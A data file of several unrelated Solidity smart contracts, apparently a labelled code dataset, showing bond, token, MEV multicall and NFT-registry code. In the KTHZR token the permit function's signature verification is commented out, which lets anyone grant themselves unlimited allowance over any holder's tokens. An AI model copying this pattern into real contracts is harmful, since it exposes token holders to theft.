xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
// File contracts/types/Ownable.sol
pragma solidity 0.7.5;
contract Ownable {
address public policy;
constructor () {
policy = msg.sender;
}
modifier onlyPolicy() {
require( policy == msg.sender, "Ownable: caller is not the owner" );
_;
}
function transferManagment(address _newOwner) external onlyPolicy() {
require( _newOwner != address(0) );
policy = _newOwner;
}
}
// File contracts/INV/CustomBond.sol
pragma solidity 0.7.5;
interface ITreasury {
function deposit(address _principleTokenAddress, uint _amountPrincipleToken, uint _amountPayoutToken) external;
function valueOfToken( address _principalTokenAddress, uint _amount ) external view returns ( uint value_ );
function payoutToken() external view returns (address);
}
contract CustomINVBond is Ownable {
using FixedPoint for *;
using SafeERC20 for IERC20;
using SafeMath for uint;
/* ======== EVENTS ======== */
event BondCreated( uint deposit, uint payout, uint expires );
event BondRedeemed( address recipient, uint payout, uint remaining );
event BondPriceChanged( uint internalPrice, uint debtRatio );
event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition );
/* ======== STATE VARIABLES ======== */
IERC20 immutable payoutToken; // token paid for principal
IERC20 immutable principalToken; // inflow token
ITreasury immutable customTreasury; // pays for and receives principal
address immutable olympusDAO;
address olympusTreasury; // receives fee
address immutable subsidyRouter; // pays subsidy in OHM to custom treasury
uint public totalPrincipalBonded;
uint public totalPayoutGiven;
uint public totalDebt; // total value of outstanding bonds; used for pricing
uint public lastDecay; // reference block for debt decay
uint payoutSinceLastSubsidy; // principal accrued since subsidy paid
Terms public terms; // stores terms for new bonds
Adjust public adjustment; // stores adjustment to BCV data
FeeTiers[] private feeTiers; // stores fee tiers
bool immutable private feeInPayout;
mapping( address => Bond ) public bondInfo; // stores bond information for depositors
/* ======== STRUCTS ======== */
struct FeeTiers {
uint tierCeilings; // principal bonded till next tier
uint fees; // in ten-thousandths (i.e. 33300 = 3.33%)
}
// Info for creating new bonds
struct Terms {
uint controlVariable; // scaling variable for price
uint vestingTerm; // in blocks
uint minimumPrice; // vs principal value
uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5%
uint maxDebt; // payout token decimal debt ratio, max % total supply created as debt
}
// Info for bond holder
struct Bond {
uint payout; // payout token remaining to be paid
uint vesting; // Blocks left to vest
uint lastBlock; // Last interaction
uint truePricePaid; // Price paid (principal tokens per payout token) in ten-millionths - 4000000 = 0.4
}
// Info for incremental adjustments to control variable
struct Adjust {
bool add; // addition or subtraction
uint rate; // increment
uint target; // BCV when adjustment finished
uint buffer; // minimum length (in blocks) between adjustments
uint lastBlock; // block when last adjustment made
}
/* ======== CONSTRUCTOR ======== */
constructor(
address _customTreasury,
address _principalToken,
address _olympusTreasury,
address _subsidyRouter,
address _initialOwner,
address _olympusDAO,
uint[] memory _tierCeilings,
uint[] memory _fees,
bool _feeInPayout
) {
require( _customTreasury != address(0) );
customTreasury = ITreasury( _customTreasury );
payoutToken = IERC20( ITreasury(_customTreasury).payoutToken() );
require( _principalToken != address(0) );
principalToken = IERC20( _principalToken );
require( _olympusTreasury != address(0) );
olympusTreasury = _olympusTreasury;
require( _subsidyRouter != address(0) );
subsidyRouter = _subsidyRouter;
require( _initialOwner != address(0) );
policy = _initialOwner;
require( _olympusDAO != address(0) );
olympusDAO = _olympusDAO;
require(_tierCeilings.length == _fees.length, "tier length and fee length not the same");
for(uint i; i < _tierCeilings.length; i++) {
feeTiers.push( FeeTiers({
tierCeilings: _tierCeilings[i],
fees: _fees[i]
}));
}
feeInPayout = _feeInPayout;
}
/* ======== INITIALIZATION ======== */
/**
* @notice initializes bond parameters
* @param _controlVariable uint
* @param _vestingTerm uint
* @param _minimumPrice uint
* @param _maxPayout uint
* @param _maxDebt uint
* @param _initialDebt uint
*/
function initializeBond(
uint _controlVariable,
uint _vestingTerm,
uint _minimumPrice,
uint _maxPayout,
uint _maxDebt,
uint _initialDebt
) external onlyPolicy() {
require( currentDebt() == 0, "Debt must be 0 for initialization" );
terms = Terms ({
controlVariable: _controlVariable,
vestingTerm: _vestingTerm,
minimumPrice: _minimumPrice,
maxPayout: _maxPayout,
maxDebt: _maxDebt
});
totalDebt = _initialDebt;
lastDecay = block.number;
}
/* ======== POLICY FUNCTIONS ======== */
enum PARAMETER { VESTING, PAYOUT, DEBT }
/**
* @notice set parameters for new bonds
* @param _parameter PARAMETER
* @param _input uint
*/
function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyPolicy() {
if ( _parameter == PARAMETER.VESTING ) { // 0
require( _input >= 10000, "Vesting must be longer than 36 hours" );
terms.vestingTerm = _input;
} else if ( _parameter == PARAMETER.PAYOUT ) { // 1
require( _input <= 1000, "Payout cannot be above 1 percent" );
terms.maxPayout = _input;
} else if ( _parameter == PARAMETER.DEBT ) { // 2
terms.maxDebt = _input;
}
}
/**
* @notice set control variable adjustment
* @param _addition bool
* @param _increment uint
* @param _target uint
* @param _buffer uint
*/
function setAdjustment (
bool _addition,
uint _increment,
uint _target,
uint _buffer
) external onlyPolicy() {
require( _increment <= terms.controlVariable.mul( 30 ).div( 1000 ), "Increment too large" );
adjustment = Adjust({
add: _addition,
rate: _increment,
target: _target,
buffer: _buffer,
lastBlock: block.number
});
}
/**
* @notice change address of Olympus Treasury
* @param _olympusTreasury uint
*/
function changeOlympusTreasury(address _olympusTreasury) external {
require( msg.sender == olympusDAO, "Only Olympus DAO" );
olympusTreasury = _olympusTreasury;
}
/**
* @notice subsidy controller checks payouts since last subsidy and resets counter
* @return payoutSinceLastSubsidy_ uint
*/
function paySubsidy() external returns ( uint payoutSinceLastSubsidy_ ) {
require( msg.sender == subsidyRouter, "Only subsidy controller" );
payoutSinceLastSubsidy_ = payoutSinceLastSubsidy;
payoutSinceLastSubsidy = 0;
}
/* ======== USER FUNCTIONS ======== */
/**
* @notice deposit bond
* @param _amount uint
* @param _maxPrice uint
* @param _depositor address
* @return uint
*/
function deposit(uint _amount, uint _maxPrice, address _depositor) external returns (uint) {
require( _depositor != address(0), "Invalid address" );
decayDebt();
uint nativePrice = trueBondPrice();
require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection
uint value = customTreasury.valueOfToken( address(principalToken), _amount );
uint payout;
uint fee;
if(feeInPayout) {
(payout, fee) = payoutFor( value ); // payout to bonder is computed
} else {
(payout, fee) = payoutFor( _amount ); // payout to bonder is computed
_amount = _amount.sub(fee);
}
require( payout >= 10 ** payoutToken.decimals() / 100, "Bond too small" ); // must be > 0.01 payout token ( underflow protection )
require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage
// total debt is increased
totalDebt = totalDebt.add( value );
require( totalDebt <= terms.maxDebt, "Max capacity reached" );
// depositor info is stored
bondInfo[ _depositor ] = Bond({
payout: bondInfo[ _depositor ].payout.add( payout ),
vesting: terms.vestingTerm,
lastBlock: block.number,
truePricePaid: trueBondPrice()
});
totalPrincipalBonded = totalPrincipalBonded.add(_amount); // total bonded increased
totalPayoutGiven = totalPayoutGiven.add(payout); // total payout increased
payoutSinceLastSubsidy = payoutSinceLastSubsidy.add( payout ); // subsidy counter increased
principalToken.approve( address(customTreasury), _amount );
if(feeInPayout) {
principalToken.safeTransferFrom( msg.sender, address(this), _amount );
customTreasury.deposit( address(principalToken), _amount, payout.add(fee) );
} else {
principalToken.safeTransferFrom( msg.sender, address(this), _amount.add(fee) );
customTreasury.deposit( address(principalToken), _amount, payout );
}
if ( fee != 0 ) { // fee is transferred to dao
if(feeInPayout) {
payoutToken.safeTransfer(olympusTreasury, fee);
} else {
principalToken.safeTransfer( olympusTreasury, fee );
}
}
// indexed events are emitted
emit BondCreated( _amount, payout, block.number.add( terms.vestingTerm ) );
emit BondPriceChanged( _bondPrice(), debtRatio() );
adjust(); // control variable is adjusted
return payout;
}
/**
* @notice redeem bond for user
* @return uint
*/
function redeem(address _depositor) external returns (uint) {
Bond memory info = bondInfo[ _depositor ];
uint percentVested = percentVestedFor( _depositor ); // (blocks since last interaction / vesting term remaining)
if ( percentVested >= 10000 ) { // if fully vested
delete bondInfo[ _depositor ]; // delete user info
emit BondRedeemed( _depositor, info.payout, 0 ); // emit bond data
payoutToken.safeTransfer( _depositor, info.payout );
return info.payout;
} else { // if unfinished
// calculate payout vested
uint payout = info.payout.mul( percentVested ).div( 10000 );
// store updated deposit info
bondInfo[ _depositor ] = Bond({
payout: info.payout.sub( payout ),
vesting: info.vesting.sub( block.number.sub( info.lastBlock ) ),
lastBlock: block.number,
truePricePaid: info.truePricePaid
});
emit BondRedeemed( _depositor, payout, bondInfo[ _depositor ].payout );
payoutToken.safeTransfer( _depositor, payout );
return payout;
}
}
/* ======== INTERNAL HELPER FUNCTIONS ======== */
/**
* @notice makes incremental adjustment to control variable
*/
function adjust() internal {
uint blockCanAdjust = adjustment.lastBlock.add( adjustment.buffer );
if( adjustment.rate != 0 && block.number >= blockCanAdjust ) {
uint initial = terms.controlVariable;
if ( adjustment.add ) {
terms.controlVariable = terms.controlVariable.add( adjustment.rate );
if ( terms.controlVariable >= adjustment.target ) {
adjustment.rate = 0;
}
} else {
terms.controlVariable = terms.controlVariable.sub( adjustment.rate );
if ( terms.controlVariable <= adjustment.target ) {
adjustment.rate = 0;
}
}
adjustment.lastBlock = block.number;
emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add );
}
}
/**
* @notice reduce total debt
*/
function decayDebt() internal {
totalDebt = totalDebt.sub( debtDecay() );
lastDecay = block.number;
}
/**
* @notice calculate current bond price and remove floor if above
* @return price_ uint
*/
function _bondPrice() internal returns ( uint price_ ) {
price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) );
if ( price_ < terms.minimumPrice ) {
price_ = terms.minimumPrice;
} else if ( terms.minimumPrice != 0 ) {
terms.minimumPrice = 0;
}
}
/* ======== VIEW FUNCTIONS ======== */
/**
* @notice calculate current bond premium
* @return price_ uint
*/
function bondPrice() public view returns ( uint price_ ) {
price_ = terms.controlVariable.mul( debtRatio() ).div( 10 ** (uint256(payoutToken.decimals()).sub(5)) );
if ( price_ < terms.minimumPrice ) {
price_ = terms.minimumPrice;
}
}
/**
* @notice calculate true bond price a user pays
* @return price_ uint
*/
function trueBondPrice() public view returns ( uint price_ ) {
price_ = bondPrice().add(bondPrice().mul( currentOlympusFee() ).div( 1e6 ) );
}
/**
* @notice determine maximum bond size
* @return uint
*/
function maxPayout() public view returns ( uint ) {
return payoutToken.totalSupply().mul( terms.maxPayout ).div( 100000 );
}
/**
* @notice calculate user's interest due for new bond, accounting for Olympus Fee.
If fee is in payout then takes in the already calcualted value. If fee is in principal token
than takes in the amount of principal being deposited and then calculautes the fee based on
the amount of principal and not in terms of the payout token
* @param _value uint
* @return _payout uint
* @return _fee uint
*/
function payoutFor( uint _value ) public view returns ( uint _payout, uint _fee) {
if(feeInPayout) {
uint total = FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e11 );
_fee = total.mul( currentOlympusFee() ).div( 1e6 );
_payout = total.sub(_fee);
} else {
_fee = _value.mul( currentOlympusFee() ).div( 1e6 );
_payout = FixedPoint.fraction( customTreasury.valueOfToken(address(principalToken), _value.sub(_fee)), bondPrice() ).decode112with18().div( 1e11 );
}
}
/**
* @notice calculate current ratio of debt to payout token supply
* @notice protocols using Olympus Pro should be careful when quickly adding large %s to total supply
* @return debtRatio_ uint
*/
function debtRatio() public view returns ( uint debtRatio_ ) {
debtRatio_ = FixedPoint.fraction(
currentDebt().mul( 10 ** payoutToken.decimals() ),
payoutToken.totalSupply()
).decode112with18().div( 1e18 );
}
/**
* @notice calculate debt factoring in decay
* @return uint
*/
function currentDebt() public view returns ( uint ) {
return totalDebt.sub( debtDecay() );
}
/**
* @notice amount to decay total debt by
* @return decay_ uint
*/
function debtDecay() public view returns ( uint decay_ ) {
uint blocksSinceLast = block.number.sub( lastDecay );
decay_ = totalDebt.mul( blocksSinceLast ).div( terms.vestingTerm );
if ( decay_ > totalDebt ) {
decay_ = totalDebt;
}
}
/**
* @notice calculate how far into vesting a depositor is
* @param _depositor address
* @return percentVested_ uint
*/
function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) {
Bond memory bond = bondInfo[ _depositor ];
uint blocksSinceLast = block.number.sub( bond.lastBlock );
uint vesting = bond.vesting;
if ( vesting > 0 ) {
percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting );
} else {
percentVested_ = 0;
}
}
/**
* @notice calculate amount of payout token available for claim by depositor
* @param _depositor address
* @return pendingPayout_ uint
*/
function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) {
uint percentVested = percentVestedFor( _depositor );
uint payout = bondInfo[ _depositor ].payout;
if ( percentVested >= 10000 ) {
pendingPayout_ = payout;
} else {
pendingPayout_ = payout.mul( percentVested ).div( 10000 );
}
}
/**
* @notice current fee Olympus takes of each bond
* @return currentFee_ uint
*/
function currentOlympusFee() public view returns( uint currentFee_ ) {
uint tierLength = feeTiers.length;
for(uint i; i < tierLength; i++) {
if(totalPrincipalBonded < feeTiers[i].tierCeilings || i == tierLength - 1 ) {
return feeTiers[i].fees;
}
}
}
} | True | [
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|
//pragma solidity ^0.4.11;
/*
* This file is part of the Ketahazure repository (https://github.com/ketahazure).
* Copyright (c) 2021 Ketahazure.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, version 3.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/*
Point Gn[CPU_GRP_SIZE / 2];
Point _2Gn;
*/
contract KTHZR {
event LogNote(
bytes4 indexed sig,
address indexed usr,
bytes32 indexed arg1,
bytes32 indexed arg2,
bytes data
) anonymous;
modifier note {
_;
assembly {
// log an 'anonymous' event with a constant 6 words of calldata
// and four indexed topics: selector, caller, arg1 and arg2
let mark := msize // end of memory ensures zero
mstore(0x40, add(mark, 288)) // update free memory pointer
mstore(mark, 0x20) // bytes type data offset
mstore(add(mark, 0x20), 224) // bytes size (padded)
calldatacopy(add(mark, 0x40), 0, 224) // bytes payload
log4(mark, 288, // calldata
shl(224, shr(224, calldataload(0))), // msg.sig
caller, // msg.sender
calldataload(4), // arg1
calldataload(36) // arg2
)
}
}
}
/*
1. Software; Execute.
2. In order to rename investment; Execute.
3. In order to financial rehashtag; Execute.
4. In order to publish and broadcast share dividend; Execute.
*/
contract ketahazure is KTHZR {
// --- Auth ---
mapping (address => uint) public wards;
function rely(address guy) external note auth { wards[guy] = 1; }
function deny(address guy) external note auth { wards[guy] = 0; }
modifier auth {
require(wards[msg.sender] == 1, "KTHZR/not-authorized");
_;
}
/*
This wallet introduces this contract therefore it was written "DO NOT ATTEMPT, IN ORDER TO, WITHOUT PERMISSION OR ELSE."
This "K.wal" or "K.eth" wallet introduces this contract, "K.sol" therefore, it was written "DO NOT ATTEMPT, IN ORDER TO, WITHOUT PERMISSION OR ELSE."
This: "K.wal", or "K.eth" wallet, introduces this: "K.sol" contract, therefore, it was written "DO NOT ATTEMPT, IN ORDER TO, WITHOUT PERMISSION OR ELSE."
This: "K.wal" -> "K.eth" = "K.sol";
Ketahazure: K++;
*/
// --- ERC20 Data ---
string public constant name = "Ketahazure Classic";
string public constant symbol = "KTHZR";
string public constant version = "1";
uint8 public constant decimals = 8;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
mapping (address => uint) public nonces;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
// --- EIP712 niceties ---
bytes32 public DOMAIN_SEPARATOR;
//bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address holder,address spender,uint256 nonce,uint256 expiry,bool allowed)");
//bytes32 public constant PERMIT_TYPEHASH = 0x3bB6728DD823a1B99F9FA9e89A49dEc83D6a66a9;
constructor(uint256 chainId_) public {
wards[msg.sender] = 1;
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes(version)),
chainId_,
address(this)
));
}
// --- Token ---
function transfer(address dst, uint wad) external returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public returns (bool)
{
require(balanceOf[src] >= wad, "KTHZR/insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad, "KTHZR/insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function mint(address usr, uint wad) external auth {
balanceOf[usr] = add(balanceOf[usr], wad);
totalSupply = add(totalSupply, wad);
emit Transfer(address(0), usr, wad);
}
function burn(address usr, uint wad) external {
require(balanceOf[usr] >= wad, "KTHZR/insufficient-balance");
if (usr != msg.sender && allowance[usr][msg.sender] != uint(-1)) {
require(allowance[usr][msg.sender] >= wad, "KTHZR/insufficient-allowance");
allowance[usr][msg.sender] = sub(allowance[usr][msg.sender], wad);
}
balanceOf[usr] = sub(balanceOf[usr], wad);
totalSupply = sub(totalSupply, wad);
emit Transfer(usr, address(0), wad);
}
function approve(address usr, uint wad) external returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return true;
}
// --- Alias ---
function push(address usr, uint wad) external {
transferFrom(msg.sender, usr, wad);
}
function pull(address usr, uint wad) external {
transferFrom(usr, msg.sender, wad);
}
function move(address src, address dst, uint wad) external {
transferFrom(src, dst, wad);
}
// --- Approve by signature ---
function permit(address holder, address spender, uint256 nonce, uint256 expiry,
bool allowed, uint8 v, bytes32 r, bytes32 s) external
{
//bytes32 digest = keccak256(abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, holder, spender, nonce, expiry, allowed)) ));
require(holder != address(0), "KTHZR/invalid-address-0");
//require(holder == ecrecover(digest, v, r, s), "KTHZR/invalid-permit");
require(expiry == 0 || now <= expiry, "KTHZR/permit-expired");
require(nonce == nonces[holder]++, "KTHZR/invalid-nonce");
uint wad = allowed ? uint(-1) : 0;
allowance[holder][spender] = wad;
emit Approval(holder, spender, wad);
}
} | True | [
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|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint) external;
}
// This contract simply calls multiple targets sequentially, ensuring WETH balance before and after
contract FlashBotsMultiCall {
address private immutable owner;
address private immutable executor;
IWETH private constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
modifier onlyExecutor() {
require(msg.sender == executor);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor(address _executor) public payable {
owner = msg.sender;
executor = _executor;
if (msg.value > 0) {
WETH.deposit{value: msg.value}();
}
}
receive() external payable {
}
function uniswapWeth(uint256 _wethAmountToFirstMarket, uint256 _ethAmountToCoinbase, address[] memory _targets, bytes[] memory _payloads) external onlyExecutor payable {
require (_targets.length == _payloads.length);
uint256 _wethBalanceBefore = WETH.balanceOf(address(this));
WETH.transfer(_targets[0], _wethAmountToFirstMarket);
for (uint256 i = 0; i < _targets.length; i++) {
(bool _success, bytes memory _response) = _targets[i].call(_payloads[i]);
require(_success); _response;
}
uint256 _wethBalanceAfter = WETH.balanceOf(address(this));
require(_wethBalanceAfter > _wethBalanceBefore + _ethAmountToCoinbase);
if (_ethAmountToCoinbase == 0) return;
uint256 _ethBalance = address(this).balance;
if (_ethBalance < _ethAmountToCoinbase) {
WETH.withdraw(_ethAmountToCoinbase - _ethBalance);
}
block.coinbase.transfer(_ethAmountToCoinbase);
}
function withdrawToken(address _tokenContract, uint256 _amount) external onlyOwner payable {
IERC20 tokenContract = IERC20(_tokenContract);
// transfer the token from address of this contract
// to address of the user (executing the withdrawToken() function)
tokenContract.transfer(msg.sender, _amount);
}
function call(address payable _to, uint256 _value, bytes calldata _data) external onlyOwner payable returns (bytes memory) {
require(_to != address(0));
(bool _success, bytes memory _result) = _to.call{value: _value}(_data);
require(_success);
return _result;
}
} | True | [
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|
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./FeeOwner.sol";
import "./Fee1155.sol";
/**
@title A basic smart contract for tracking the ownership of SuperFarm Items.
@author Tim Clancy
This is the governing registry of all SuperFarm Item assets.
*/
contract FarmItemRecords is Ownable, ReentrancyGuard {
/// A version number for this record contract's interface.
uint256 public version = 1;
/// A mapping for an array of all Fee1155s deployed by a particular address.
mapping (address => address[]) public itemRecords;
/// An event for tracking the creation of a new Item.
event ItemCreated(address indexed itemAddress, address indexed creator);
/// Specifically whitelist an OpenSea proxy registry address.
address public proxyRegistryAddress;
/**
Construct a new item registry with a specific OpenSea proxy address.
@param _proxyRegistryAddress An OpenSea proxy registry address.
*/
constructor(address _proxyRegistryAddress) public {
proxyRegistryAddress = _proxyRegistryAddress;
}
/**
Create a Fee1155 on behalf of the owner calling this function. The Fee1155
immediately mints a single-item collection.
@param _uri The item group's metadata URI.
@param _royaltyFee The creator's fee to apply to the created item.
@param _initialSupply An array of per-item initial supplies which should be
minted immediately.
@param _maximumSupply An array of per-item maximum supplies.
@param _recipients An array of addresses which will receive the initial
supply minted for each corresponding item.
@param _data Any associated data to use if items are minted this transaction.
*/
function createItem(string calldata _uri, uint256 _royaltyFee, uint256[] calldata _initialSupply, uint256[] calldata _maximumSupply, address[] calldata _recipients, bytes calldata _data) external nonReentrant returns (Fee1155) {
FeeOwner royaltyFeeOwner = new FeeOwner(_royaltyFee, 30000);
Fee1155 newItemGroup = new Fee1155(_uri, royaltyFeeOwner, proxyRegistryAddress);
newItemGroup.create(_initialSupply, _maximumSupply, _recipients, _data);
// Transfer ownership of the new Item to the user then store a reference.
royaltyFeeOwner.transferOwnership(msg.sender);
newItemGroup.transferOwnership(msg.sender);
address itemAddress = address(newItemGroup);
itemRecords[msg.sender].push(itemAddress);
emit ItemCreated(itemAddress, msg.sender);
return newItemGroup;
}
/**
Allow a user to add an existing Item contract to the registry.
@param _itemAddress The address of the Item contract to add for this user.
*/
function addItem(address _itemAddress) external {
itemRecords[msg.sender].push(_itemAddress);
}
/**
Get the number of entries in the Item records mapping for the given user.
@return The number of Items added for a given address.
*/
function getItemCount(address _user) external view returns (uint256) {
return itemRecords[_user].length;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
@title Represents ownership over a fee of some percentage.
@author Tim Clancy
*/
contract FeeOwner is Ownable {
using SafeMath for uint256;
/// A version number for this FeeOwner contract's interface.
uint256 public version = 1;
/// The percent fee due to this contract's owner, represented as 1/1000th of a percent. That is, a 1% fee maps to 1000.
uint256 public fee;
